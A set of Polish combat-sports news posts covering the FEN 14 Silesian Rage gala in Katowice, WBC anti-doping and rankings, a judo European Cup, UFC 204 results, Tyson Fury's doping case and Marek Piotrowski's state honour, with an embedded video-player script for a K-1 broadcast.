  • konferencja prasowa z udziałem bohaterów walk wieczoru gali FEN 14 Silesian Rage: Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, a także Akopa Szostaka, Pawła Hadasia i Pawła Brandysa oraz szefów federacji FEN Pawła Jóźwiaka i Rafała Sawickiego

czwartek, 13 października, godz. 15, Jatomi Fitness w Silesia City Center, ul. Chorzowska 107, Katowice

  • oficjalny media trening z udziałem Romana Szymańskiego, Joiltona Santosa, Tomasza Sarary, Dennisa Stolzenbacha, Pawła Hadasia, Tomasza Gromadziego, Pavla Oboźnego, Kamila Jenela, Martina Chudeja, Łukasza Stanka i Piotr Olszynki
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

 

piątek, 14 października, godz. 17, hala Spodek, al. Korfantego 35, Katowice

  • oficjalna ceremonia ważenia z udziałem wszystkich zawodników walczących na gali FEN 14 Silesian Rage 
  • transmisja na żywo na platformie www.Fightime.pl oraz stronie internetowej www.fen-mma.com
  • wstęp wolny dla kibiców i dziennikarzy

sobota, 15 października, godz. 18, hala Spodek, al. Korfantego 35, Katowice

  • gala FEN 14 Silesian Rage
  • otwarcie bram hali o godz. 17
  • kasy biletowe w hali Spodek będą czynne od godz. 15
  • bilety online: www.Eventim.pl i www.KupBilet.pl, bilety VIP: tel. 601  877 229
  • transmisja na żywo w telewizji Polsat Sport Fight i na platformie www.Ipla.tv (od godz. 19 – karta wstępna, karta główna, walki wieczoru), Polsat Sport (od godz. 20 – karta główna, walki wieczoru) i Polsat (godz. 00:00 – walki wieczoru)
  • akredytacje dziennikarskie można uzyskać, wypełniając formularz na stronie www.fen-mma.com/akredytacje lub na platformie www.accredito.com/fen – termin nadsyłania zgłoszeń upływa w piątek, 14 października, o godz. 16

sobota, 15 października, godz. 22, Marquee Club & Restaurant, ul. Mickiewicza 4, Katowice

  • FEN After Party z udziałem zawodników, władz federacji FEN, FEN Ring Girls, hostess oraz gości VIP 
  • rezerwacja wejściówek: tel. 576 219 123 

Panowie prosimy o zgłoszenia

Afery dopingowe paraliżują świat sportu. Wpadki kolejnych mistrzów powodują, że coraz więcej osób wątpi w sprawiedliwą i równą rywalizacją. Bokserska federacja WBC wprowadziła Clean Boxing Program.

Pięściarze mieli czas do wtorku tj. 11 października, żeby składać formularze w programie antydopingowym. Problem w tym, że nie wszyscy zgłosili chęć uczestnictwa.

Rzucić wyzwanie dopingowi

Federacja WBC chce, aby rywalizacja była czysta. Przede wszystkim liczy się dbałość o szczegóły i zminimalizowanie ryzyka, że któryś z bokserów zdecyduje się sięgnąć po niedozwolone środki. Skutecznym narzędziem ma okazać się Clean Boxing Program. Przez cały rok prowadzone będą niezapowiedziane kontrole antydopingowe. Federacja wystosowała prośbę do wszystkich mistrzów świata oraz sklasyfikowanych w pierwszej piętnastce swoich rankingów. Wystarczyło wypełnić odpowiedni formularz.

Nie wszyscy bokserzy spełnili wymagania WBC. Do programu nie dołączył były mistrz świata WBA w kategorii ciężkiej oraz WBC, WBA i WBO w kategorii junior ciężkiej David Haye. Zgłoszeń nie wysłali również były czempion wagi półciężkiej Jean Pascal, pięściarz kategorii lekkopółśredniej Lamont Peterson czy też Gabriel Rosado rywalizujący w wadze średniej. 

Niektórzy starają się tłumaczyć brak zgłoszeń. Powodem ma być… niewiedza. Tak miało być w przypadku Felixa Verdejo, który uchodzi za wielki talent wagi lekkiej. 23-latek został usunięty z list WBC. Wśród tych, którzy nie zgłosili się do programu wymieniano również Amira Khana. Ostatecznie bokser poinformował, że wysłał swoje zgłoszenie.

Warto nadmienić, że do programu przystąpili Polacy klasyfikowani przez WBC m.in. Artur Szpilka i Krzysztof Głowacki.

Październikowe rankingi

Przy okazji sprawy dotyczącej programu antydopingowe WBC warto pochylić się nad najnowszym rankingiem federacji. W październikowym notowaniu znalazło się trzynastu polskich pięściarzy.

Najlepiej wygląda sytuacja naszych pięściarzy, którzy rywalizują w wadze junior ciężkiej. Po dwóch wygranych w tym roku Krzysztof Włodarczyk może pochwalić się trzecią pozycją. Były mistrz świata Krzysztof Głowacki zajmuje ósmą pozycję, a Mateusz Masternak jest jedenasty. Dwudziestą pozycję zajmuje niepokonany Michał Cieślak.

Na listy WBC powrócił Artur Szpilka, który w wadze ciężkiej jest na 9. miejscu. Mariusz Wach zajmuje 12. pozycję, Andrzej Wawrzyk 16, a Izuagbe Ugonoh znalazł się na 39. lokacie. W wadze półciężkiej najwyżej znalazł się Andrzej Fonfara (7), a w średniej Maciej Sulęcki (13).

KM

ZAPROSZENIE NA KONFERENCJĘ PRASOWĄ PRZED GALĄ FEN 14 SILESIAN RAGE

Organizacja Fight Exclusive Night serdecznie zaprasza na konferencję prasową poświęconą zbliżającej się gali FEN 14 Silesian Rage z udziałem głównych bohaterów tej zapowiadającej się wyjątkowo emocjonująco imprezy.

Konferencja prasowa „face to face” odbędzie się w najbliższą środę, 12 października 2016 r., o godz. 14 w Sali A na parterze Centrum Olimpijskiego PKOl im. Jana Pawła II przy Wybrzeżu Gdyńskim 4 w Warszawie.

Podczas konferencji po raz pierwszy twarzą w twarz staną ze sobą zawodnicy, którzy już w sobotę, 15 października, w katowickim Spodku będą walczyć o pasy mistrzowskie federacji FEN: broniący tytułu mistrza w formule MMA w wadze lekkiej Roman Szymański i jego rywal Joilton Peregrino Santos z Brazylii oraz utytułowani kickbokserzy Tomasz Sarara i Holender Dennis Stolzenbach, których czeka pierwszy w historii pojedynek o tytuł mistrza FEN w K-1 wagi cruiser.

Oprócz nich podczas spotkania z prasą prosto w oczy spojrzą sobie także uczestnicy poprzedzającego walki wieczoru starcia na zasadach MMA – utalentowani fighterzy Paweł Hadaś i Paweł Brandys. W konferencji uczestniczyć będzie również dobrze znany Akop Szostak, który na gali FEN 14 Silesian Rage zmierzy się z Czechem Martinem Chudejem, oraz włodarze organizacji FEN – prezes Paweł Jóźwiak i wiceprezes Rafał Sawicki.

Na konferencję prasową w miejscu najściślej związanym z polskim sportem zapraszamy nie tylko przedstawicieli mediów, ale także sympatyków sportów walki, bowiem spotkanie będzie miało charakter otwarty.

Dziennikarzy prosimy o potwierdzenie udziału w konferencji mailowo na adres a.furyk@fen-mma.com. Jednocześnie zachęcamy też do składania wniosków o akredytację na galę FEN 14 Silesian Rage na stronie federacji FEN: fen-mma.com/akredytacje lub w systemie Accredito: accredito.com/fen.

Więcej informacji na temat federacji Fight Exclusive Night oraz gali FEN 14 znajdą Państwo w załączonej prezentacji. Oficjalny trailer zawodów w Spodku można obejrzeć na fanpage’u FEN na Facebooku lub kanale FEN na Youtube.

W imieniu zarządu Fight Exclusive Night

Adam Furyk
FEN press officer
tel. 502 433 940

fen-mma.com
facebook.com/FightExclusiveNight

Repalov kontra Grzebyk na gali FEN 14 Silesian Rage

Białoruski zawodnik MMA Alexey Repalov dołączy do karty walk gali FEN 14 Silesian Rage, która odbędzie się już 15 października w Katowicach. 32-letni fighter z Bobrujska zmierzy się z utalentowanym polskim zawodnikiem Andrzejem Grzebykiem reprezentującym Legion Team Tarnów.

Nazwisko Białorusina jest jedną z ostatnich niespodzianek w fight cardzie świetnie zapowiadającej się gali w katowickim Spodku. Jest on doskonale znany polskim fighterom, bowiem wielokrotnie krzyżował rękawice z czołowymi postaciami polskiego MMA, m.in. z jednym z najlepszych zawodników FEN Pawłem Żelazowskim, któremu uległ w 2012 roku. Czy Repalov zrobił od tego czasu postępy? Wiele na to wskazuje, ponieważ w ostatnim występie w walce wieczoru gali Wolgaster Kampfkunst 1 pokonał innego mocnego Polaka Mateusza Zieleńskiego. Co ciekawe, było to jego pierwsze zwycięstwo na punkty w karierze – wcześniejsze swoje wygrane walki Repalov kończył już w pierwszych rundach.

25-letni Andrzej Grzebyk nie będzie miał łatwego zadania, tym bardziej, że wraca po blisko rocznej przerwie i leczeniu kontuzji odniesionej w wypadku samochodowym jeszcze przed jego ostatnią walką z Alessio di Chirico na gali FEN 9 Go For It we Wrocławiu. Z tego powodu pojedynek z Włochem, który obecnie walczy w oktagonie UFC, był dla niego wyjątkowo ciężki, ale zdaniem wielu to nie Polak powinien wychodzić z klatkoringu przegrany. Grzebyk uległ rywalowi na kartach punktowych i w sobotę na gali FEN 14 Silesian Rage wyniku walki na pewno nie będzie chciał zostawiać w rękach sędziów. Pochodzący z Rzeszowa, ale trenujący w Tarnowie zawodnik to jeden z najzdolniejszych i najbardziej bojowych przedstawicieli polskiego MMA i teraz, kiedy jest już zdrowy, pełnię swego talentu i umiejętności postara się pokazać w Katowicach.

Zobacz walkę Andrzeja Grzebyka z Alessio Di Chirico

Serdecznie zapraszamy wszystkich sympatyków sportów walki na to polsko-białoruskie starcie, przypominając, że w karcie walk gali FEN 14 Silesian Rage znalazły się cztery inne międzynarodowe pojedynki, m.in. Romana Szymańskiego z Brazylijczykiem Joiltonem Santosem o tytuł mistrza organizacji w formule MMA oraz Tomasza Sarary z Holendrem Dennisem Stolzenbachem o pas mistrzowski w formule K-1. Nie zabraknie także innych gwiazd federacji FEN, takich jak Akop Szostak, Tyberiusz Kowalczyk, Tomasz Gromadzki, Paweł Biszczak i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Polaków próżno szukać na podium

Bez zdobyczy medalowej wracają nasi judocy z Belgradu, gdzie odbyły się zmagania w Pucharze Europy. Najlepszy wynik zanotowała Anita Formela (+78kg), która uplasowała się na piątej pozycji.

W Belgradzie szansę na zebranie doświadczenia otrzymali nasi młodzieżowcy. Do stolicy Serbii udała się piętnastoosobowa kadra Polski. 

Blisko medalu

Spośród naszych judoków, którzy pojechali do Belgradu na pierwszy plan wysuwała się Anita Formela. 19-latka może pochwalić się wywalczeniem w tym roku brązowego medalu mistrzostw Europy juniorów. Dwa lata temu zdobyła tytuł wicemistrzyni Europy kadetów. 

W tegorocznych startach na poziomie juniorskim Formela prezentowała równą i stabilną formę, choć nie udało jej się wskoczyć na podium w Pucharach Europy. Dostała szansę zaprezentowania się w Serbii i była o krok od medalu. W Belgradzie na korzyść Polki przemawiał fakt, że w kategorii +78kg wystąpiło tylko osiem zawodniczek. Formela stoczyła trzy pojedynki, z których tylko jeden zakończył się jej zwycięstwem. W walce o brązowy medal nasza zawodniczka przegrała przez ippon z Katariną Luciją Vuković.

Dużo zdrowia w Belgradzie pozostawiła Aleksandra Langiewicz (63kg). 22-latka stoczyła aż pięć wyczerpujących walk. Na początek, dzięki karom shido wygrała z Alexandrą Barton, a następnie szybko rozłożyła na łopatki Jennifer Schwille. Polka wygrała przez ippon i była na najlepszej drodze do strefy medalowej. Diana Dzhigaros okazała się przeszkodą nie do przejścia i w niecałą minutę odprawiła Langiewicz. Rosjanka triumfowała w Belgradzie, a 22-letnia Polka ze zmiennym szczęściem rywalizowała w repasażach i ostatecznie zajęła siódmą lokatę.

Wśród naszych panów najlepiej zaprezentował się Karol Kurzej (81kg). W tym roku 23-latek stał już na trzecim stopniu Pucharu Europy w Podcetrtek, z kolei w Tallinie zajął siódmą lokatę. Wynik ze stolicy Estonii powtórzył w Belgradzie. Kurzej początek miał wymarzony –  dwie walki i dwa ippony. W trzeciej walce przed czasem przegrał z Nickiem Kellijem. Wiele sił kosztowało go spotkanie w repasażach z Stefanem Majdovem. Serb zdobył waza-ari i o wynik rywalizacji trzeba było drżeć do końca. Polak mógł się cieszyć ze zwycięstwa, gdyż zapisał na swoim koncie waza-ari i yuko. Marzeń o medalu Kurzeja pozbawił Milan Koller.

Warto również wspomnieć o występach Adriana Wala (60kg) i Mariusz Kruegera (100kg). Obaj zajęli dziewiąte lokaty.

Dominacja Rosjan

Bezapelacyjnie w Belgradzie najlepsi okazali się Rosjanie, którzy wywalczyli 14 medali, w tym aż 8 złotych. Drugie miejsce w klasyfikacji przypadło Niemcom, którzy wywalczyli cztery krążki. Podium uzupełnili Serbowie z pięcioma medali, ale tylko jednym złotym.

W Belgradzie zaprezentowało się 331 judoków.

KM

Tomasz Czerwiński nowym rywalem Tyberiana na gali FEN 14 Silesian Rage

Z powodu połamanych podczas walki na gali FCC 17 w Manchesterze żeber Kamil Bazelak zmuszony był wycofać się z pojedynku z Tyberiuszem Kowalczykiem na gali FEN 14 Silesian Rage. Kontuzjowanego zawodnika w sobotę w katowickim Spodku w starciu z „Tyberianem” zastąpi inny potężny fighter Tomasz Czerwiński.

41-letni Tomasz Czerwiński pochodzi z Poznania, ale od dawna mieszka i trenuje w podlondyńskim Luton. Polak przez lata nazywany był „polskim Butterbeanem” z racji fizycznego podobieństwa do słynnego amerykańskiego zawodnika (ważył niegdyś ponad 140 kg), ale dziś wygląda bardziej jak wyczynowy kulturysta i zdecydowanie lepiej pasują do niego inne jego sportowe pseudonimy, jak Big T czy Polish Monster. Czerwiński większość zawodowych walk w formule MMA stoczył na Wyspach Brytyjskich, ale występował także w Rumunii, na galach największej tamtejszej organizacji Real Xtreme Fighting. Właśnie w Bukareszcie odniósł swoje dwa ostatnie zwycięstwa, pokonując debiutującego w mieszanych sztukach walki Petru „Cyborga” Ursachiego i gwiazdę rumuńskiego MMA, ważącego ponad 160 kg Alexandra Lungu. Do największych sukcesów Polaka zaliczyć należy także wywalczone w 2012 roku tytuły mistrza wagi ciężkiej federacji Fury MMA i mistrza wagi ciężkiej federacji Cage Fighters Championships.

Jego rywal Tyberiusz Kowalczyk przez wiele lat był jednym z najlepszych i najbardziej rozpoznawalnych strongmanów w Polsce, gwiazdą Pucharu Polski Strongman oraz mistrzostw Polski i Europy. W 2005 roku triumfował w czwartej edycji drużynowych zawodów Polska kontra Reszta Świata, a dwa lata później zdobył tytuł Mistrza Europy Centralnej Strongman w Parach i Mistrza Polski Strongman A-Nowi. Po zakończeniu imponującej kariery siłacza poświęcił się sportom walki. „Tyberian” w klatkoringu Fight Exclusive Night walczył dotąd dwa razy, dwukrotnie błyskawicznie i efektownie pokonując swoich rywali. Na gali FEN 3 War Is Coming już w 48. sekundzie ciosami pięściami posłał na deski Litwina Tomasa Vaicickasa, a na gali FEN 11 Warsaw Time równie szybko potężnymi uderzeniami i kopnięciami znokautował Akopa Szostaka.

15 października na gali FEN 14 Silesian Rage w pozostałych pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński. W walkach na zasadach K-1 kibice zobaczą starcie Tomasza Sarary z  Dennisem Stolzenbachem o tytuł mistrza FEN wagi cruiser oraz pojedynki z udziałem Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Tylko Stasiak może być zadowolony

W Manchesterze podczas gali UFC 204 zaprezentowało się trzech Polaków, jednak tylko Damian Stasiak ma powody do zadowolenia. „Webster” odniósł efektowne zwycięstwo w starciu z Davey'em Grantem. Daniel Omielańczuk i Łukasz Sajewski zanotowali porażki.

Stasiak odniósł drugie zwycięstwo w trzeciej walce dla UFC. Po raz kolejny polski fighter efektownie zakończył rywalizację.

Sukces jednego, smutek pozostałych

Stasiak musiał wykazać się cierpliwością w starciu z Davey'em, które nie należało do łatwych. Przez dwie rundy trwała zacięta walka. Raz w stójce, raz w parterze, jednak żaden z zawodników nie potrafił przeprowadzić decydującej akcji. Wydawało się, że Anglik jest o krok od znokautowania Polaka, jednak ten wyszedł cało z opresji. Trzecia runda pod dyktando Stasiaka. „Webster” potwierdził wysokie umiejętności w parterze. Założył rywalowi balachę, która okazała się zabójczo skuteczna. Anglik musiał odklepać, żeby nie cierpieć. Stasiak odniósł drugie zwycięstwo z UFC i ponownie triumfował przed czasem. W kwietniu w Zagrzebiu już w pierwszej rundzie pokonała Filipa Pejicia.

Fantastyczna seria Daniela Omielańczuka dobiegła końca. Trzy zwycięstwa z rzędu i wystarczy. Stefan Struve okazał się zbyt mocny dla 34-latka. Holender był wyższy, cięższy i młodszy, a do tego rywalizował z potentatami UFC. Omielańczuk odważnie zaczął pojedynek i wymierzył kilka sierpów rywalowi. Struve nie pozostawał bierny, obalił Polaka i próbował zmusić go do poddania. 34-latek skutecznie się bronił i wyszedł cało z opresji. Holender był konsekwentny. W drugiej rundzie osiągnął swój cel. Ponownie sprowadził pojedynek do parteru i „udusił” Omielańczuka, który odklepał. Polak przegrał trzecią walkę w UFC, ale pierwszą przed czasem.

Łukasz Sajewski w Manchesterze pojawił się jako zastępca Rezy Madadiego. „Polski lekki” stanął na wprost debiutującego w UFC Marka Diakiese. Dla Sajewskiego było to starcie z kategorii „o życie”. Wcześniejsze dwie porażki postawiły 25-latka pod ścianą. Polak dobrze zaczął, gdyż w pierwszej rundzie dwa razy obalił rywala. Jednak kolejna odsłona to popis Anglika. Diakiese zasypał Sajewskiego ciosami i wygrał przez techniczny nokaut.

Skuteczna obrona

37-letni Michale Bisping w Manchesterze po raz pierwszy bronił pasa mistrzowskiego w wadze średniej. Tytuł wywalczył w kwietniu pokonując Luke'a Rockholda. Na gali UFC 204 spotkał się z Danem Hendersonem. Pięć zaciętych rund na korzyść Anglika – 48:47, 48:47, 49:46.

W ciekawie zapowiadającej się walce Gegard Mousasi pokonał w drugiej rundzie Vitora Belforta. Również przed czasem wygrał Jimi Manuwa. W drugiej rundzie znokautował Ovince'a St. Preuxa. W pierwszych odsłonach wygrywali Mirsad Bektić i Iuri Alcantara, którzy odpowiednio odprawiali Russella Doane oraz Brada Picketta.

Fot. sherdog.com

KM

Sarara vs Stolzenbach w walce o pas na gali FEN 14

Dennis Stolzenbach, dwukrotny mistrz Europy IKBA, będzie rywalem Tomasza Sarary w walce o pierwszy w historii tytuł mistrza federacji FEN w K-1 wagi cruiser. Smaczku temu pojedynkowi dodaje fakt, że 15 października na gali FEN 14 Silesian Rage w narożnikach obu zawodników staną dwaj świetni trenerzy – Ernesto Hoost i Miki Benazzouz.

Cichy wiatr – taki pseudonim nosi 27-letni reprezentant klubu Siam-Gym Valkenswaard, który 15 października stanie Tomkowi Sararze na drodze po upragniony tytuł mistrza FEN. Jak wyjaśnia trener Holendra, wysoko ceniony Miki Benazzouz, „cichy, ponieważ taki jest poza ringiem, a wiatr, bo kiedy już do niego wchodzi, to jest nie do zatrzymania”. Dennis Stolzenbach ma reputację spokojnego, skromnego faceta o sercu prawdziwego wojownika, dla którego słowo „zrezygnować” nie istnieje. Tej nieustępliwej postawie w walce zawdzięcza dwa tytuły mistrza Europy IKBA w wadze ciężkiej, zdobyte w 2011 i 2012 roku, a także mistrzostwo Holandii wywalczone w 2009 roku. Holender ma na swoim koncie 63 zawodowe walki, z których 41 zakończyło się jego zwycięstwem.

Tomasz Sarara to jeden z najlepszych na świecie zawodników wagi cruiser, srebrny medalista mistrzostw Europy WAKO z 2008 roku, zdobywca drugiego miejsca w turnieju K-1 World GP w Warszawie w 2010 roku i dwukrotny uczestnik turniejów Tatneft Arena. W swojej kolekcji ma także kilkanaście tytułów amatorskiego i zawodowego mistrza Polski w kickboxingu i K-1. W klatkoringu Fight Exclusive Night krakowianin stoczył trzy walki z rywalami z zagranicy, każdą z nich pewnie wygrywając – na gali FEN 7 w drugiej rundzie znokautował Niko Falina, a na galach FEN 8 i FEN 11 wypunktował kolejno Andre Schmelinga i Ivana Bartka. Jego ostatni zawodowy występ do jednak debiut… bokserski – dwa tygodnie temu na gali Windoor Boxing Night w Kaliszu w drugiej rundzie ciężko znokautował Łukasza Zygmunta, potwierdzając krążącą o nim od dawna opinię najlepszego boksera wśród polskich kickbokserów.

Warto wspomnieć, że w narożniku Tomasza Sarary podczas gali FEN 14 Silesian Rage ponownie zobaczymy legendarnego trenera Ernesto Hoosta, który jako zawodnik czterokrotnie zdobył tytuł mistrza K-1 World Grand Prix. Przez blisko rok Polak trenował u innego znanego szkoleniowca Mike’a Passaniera, ale niezadowolony z tej współpracy zdecydował się powrócić do Teamu Mr. Perfecta.

W pozostałych walkach gali FEN 14 Silesian Rage na zasadach K-1 kibice zobaczą Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego, a w pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Piotrowski odznaczony po raz drugi

Po raz kolejny cała Polska usłyszała o Marku Piotrowskim. Tym razem nasz wybitny kickboxer został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznany przez prezydenta Andrzeja Dudę. Piotrowski wspomniane wyróżnienie otrzymał po raz drugi.

Legenda, mistrz, niedościgniony wzór, idol – wielu kickboxerów tak właśnie określa Marka Piotrowskiego. Mistrz świata stał się swojego rodzaju guru, ale zrobił wiele, aby tak było. Krzyż Oficerski Orderu Odrodzenia Polski pozwolił nieco „odkurzyć” Piotrowskiego.

Wielki mistrz

Popularny „Punisher” przygody ze sportami walki wcale nie rozpoczął od kickboxingu. Najpierw zafascynowało go karate i szło mu całkiem dobrze, gdyż zapisał na swoim koncie mistrzostwo Polski seniorów. Jednak w 1987 roku zdecydował się „przebranżowić” i rozpoczął przygodę z kicboxingiem. Wystarczyło kilka miesięcy, żeby wywalczył amatorskie mistrzostwo świata.

Świat stał u jego stóp. W 1988 roku ruszył na podbój Stanów Zjednoczonych. Kariera zawodowa rozwijała się idealnie. Polak zaczął od znokautowania w czwartej rundzie Boba Handegana. Cały świat pytał, kim jest Piotrowski, kiedy „Punisher” odprawił z kwitkiem Ricka Roufusa. Zwycięstwo dało mu mistrzostwo USA PKC. Piotrowski kroczył do zwycięstwa do zwycięstwa. Nadszedł czas rewanżu z Roufusem, w którym rywal okazał się lepszy i posłał Polaka w drugiej rundzie na deski. To była pierwsza porażka Piotrowskiego. Drugą poniósł z Robem Kamanem. I tyle. Niesamowity bilans Piotrowskiego budzi wielki podziw. Ponad czterdzieści zwycięstw, w tym 27 przed czasem. Fenomen, wytrzymały i do bólu skuteczny wojownik.

Rywalizację na płaszczyźnie kickboxingu Piotrowski łączył z boksem. W wadze półciężkiej wygrał wszystkie, 21, walk. Z boksem pożegnał się w 1996 roku. Ostatnią walkę w kickboxingu stoczył rok wcześniej.

Był i nadal jest wielkim mistrzem. Jednak życie nie oszczędzało 52-latka. Choroba zwyrodnieniowa układu nerwowego, problemy osobiste, brak pieniędzy. Mimo to nie ugiął się. Piotrowski pokazał, że walczyć umie nie tylko w ringu. Bez wątpienia wielki mistrz jest przykładem godnym naśladowania.

Uhonorowany

W trudnych chwilach wiele osób obecnych podczas sukcesów Piotrowskiego, kiedy pojawiły się problemy odwróciło się od niego. Jednak nie zabrakło ludzi, którzy chcieli pomóc. Organizowali różne akcje wsparcia dla byłego kickboxera. Piotrowski pojawia się podczas różnych gal i nadal jest wielbiony przez tłumy.

W ostatnich dniach Piotrowski po raz drugi został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznanym przez prezydenta Andrzeja Dudę. Wyróżnienie Piotrowskiemu wręczył Witold Bańka, minister sportu. Warto dodać, że to nie pierwsze tego typu odznaczenie dla kickboxera. W 2009 roku został uhonorowany w ten sposób przez św.p. prezydenta Lecha Kaczyńskiego.

Tak mały gest, jednak pokazuje tak wiele. Marek Piotrowski dał nam wiele pięknych chwil, nadal pokazuje, co to znaczy walczyć i zwyciężać. Bierzmy z niego przykład. Tak jak i ci, którzy podkreślają, że chcą być tacy jak on. Niezwyciężeni.

KM

FEN 14 Silesian Rage: zapowiedź walki Brandys vs Hadaś

Paweł Hadaś​ na gali FEN 14 Silesian Rage​ zrobi wszystko, by odnieść siódme zawodowe zwycięstwo z rzędu. Paweł Brandys​ w debiucie w klatkoringu Fight Exclusive Night​ także liczy na pewną wygraną. Któremu z nich uda się osiągnąć cel w tym emocjonująco zapowiadającym się starciu? Zobaczymy już 15 października w katowickim Spodku!

[kod]

Czarne chmury nad Fury’m

Ostatnie tygodnie w życiu mistrza świata WBA i WBO są niezwykle ciężkie. Tyson Fury znalazł się na „cenzurowanym” po tym jak okazało się, że stosował kokainę. Wedle doniesień, Brytyjczyk mógłby stracić licencję bokserską.

Blisko rok temu Fury stał się bohaterem. Zdetronizował wielkiego Władimira Kliczko z tronu kategorii ciężkiej. Świat czekał na rewanżowy pojedynek obu pięściarzy, jednak termin przekładano. Z czasem postępowanie Fury'ego stało się zastanawiające. W końcu nastąpił szok.

Kolejny test

29 października w Manchesterze Tyson Fury miał ponownie stanąć naprzeciw Władimira Kliczko. We wrześniu obóz Brytyjczyka wycofał się z pojedynku. Tłumaczono to względami zdrowotnymi. Cóż, może się zdarzyć, jednak miłośnicy boksu zaczęli kipieć ze złości. To nie był pierwszy raz. Pierwotnie rewanż miał odbyć się w lipcu. Walkę odwołano ze względu na… kontuzję czempiona.

Informacje o wykryciu kokainy w organizmie Brytyjczyka wzbudziły ogromną dyskusję. Według ESPN.com, badania dopingowe dwukrotnie potwierdziły, że Fury stosował niedozwolone środki. 28-latek pierwszy test przeszedł 22 września. Dzień później walka z Kliczko została odwołana. Okazało się, że kokainę u Fury'ego znaleziono również w testach przeprowadzonych 21 września.

Oliwy do ognia dolał wywiad, którego czempion WBA i WBO udzielił magazynowi „Rollin Stone”. Przyznał się w nim do zażywania kokainy, nadużywania alkoholu oraz stosowania antydepresantów. Fury nie radził sobie z problemami i uznał, że to będzie najlepsza drogi walki. Ten wybór może go drogo kosztować.

Przyszłość Brytyjczyka wisi „na włosku”. Prawdopodobnie Fury straci mistrzowskie pasy, który zdobył w listopadzie ubiegłego roku pokonując Władimira Kliczko. Dodatkowo nad jego sprawą pochyli się Brytyjska Komisja Bokserska. Delegaci spotkają się 12 października. Niewykluczone, że Fury zostanie pozbawiony licencji bokserskiej.

Co z wagą ciężką?

Skandal z Fury'm przysłonił aspekt sportowy wagi ciężkiej. Brytyjczyk zajął całą powierzchnię dyskusji i nie brakuje wielu pytań, wątpliwości. Na wiążące decyzje trzeba jednak poczekać.

W całym zamieszaniu jednym z poszkodowanych jest Władimir Kliczko. Ukrainiec cierpliwie czekał na rewanżową walkę, w której chciał wrócić na tron. Coraz bardziej prawdopodobne, że były czempion stoczy bój o pasy. Niedawno informowaliśmy o możliwym starciu Kliczko z Anthony'm Joshuą, mistrzem IBF. Wychodzi na to, że do walki miałoby dojść 10 grudnia.

KM

LIVE: Masters Fighter K1 League

Zapraszamy na transmisję telewizyjną z gali Masters Fighter K-1 League w dniu 9 października 2016 r.. Start godz. 13.00.

[kod]

Masters Fighter K-1 League

Masters Fighter K-1 League

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MK1FW_10_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MK1FW_10_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MK1FW_10_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MK1FW_10_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Andrzej Grzebyk w karcie walk gali FEN 14 Silesian Rage

Andrzej Grzebyk 15 października po blisko rocznej przerwie ponownie wystąpi w klatkoringu Fight Exclusive Night. Jeden z najbardziej perspektywicznych średnich polskiego MMA na gali FEN 14 Silesian Rage w katowickim Spodku zawalczy o swoje pierwsze zwycięstwo w organizacji FEN.

Walka na gali FEN 14 Silesian Rage będzie dla Andrzeja Grzebyka drugą w klatkoringu Fight Exclusive Night. Debiutował w listopadzie ubiegłego roku na gali FEN 9 Go For It we Wrocławiu w pamiętnej walce z Alessio Di Chirico – decyzją sędziowską zwycięstwo w tym wyrównanym, emocjonującym starciu przypadło w udziale występującemu obecnie w UFC Włochowi.

25-letni Andrzej Grzebyk pochodzi z Rzeszowa, jednak reprezentuje barwy Legion Team Tarnów, gdzie o rozwój jego talentu dba trener Radosław Piechnik. Wywodzi się z kickboxingu, ale w 2010 roku, po dwóch latach trenowania tej dyscypliny, poświęcił się mieszanym sztukom walki. Szybko potwierdził, że była do właściwa decyzja, bo jako amator zdobył m.in. mistrzostwo Polski juniorów i dwukrotnie tytuł mistrza Polski seniorów w MMA full contact. Na zawodowych arenach występuje od 2012 roku – dotychczas stoczył 11 walk, wygrywając osiem z nich. Na swoim koncie ma zwycięstwa z tak znanymi zawodnikami, jak Kamil Szymuszowski i Mindaugas Verzbickas.

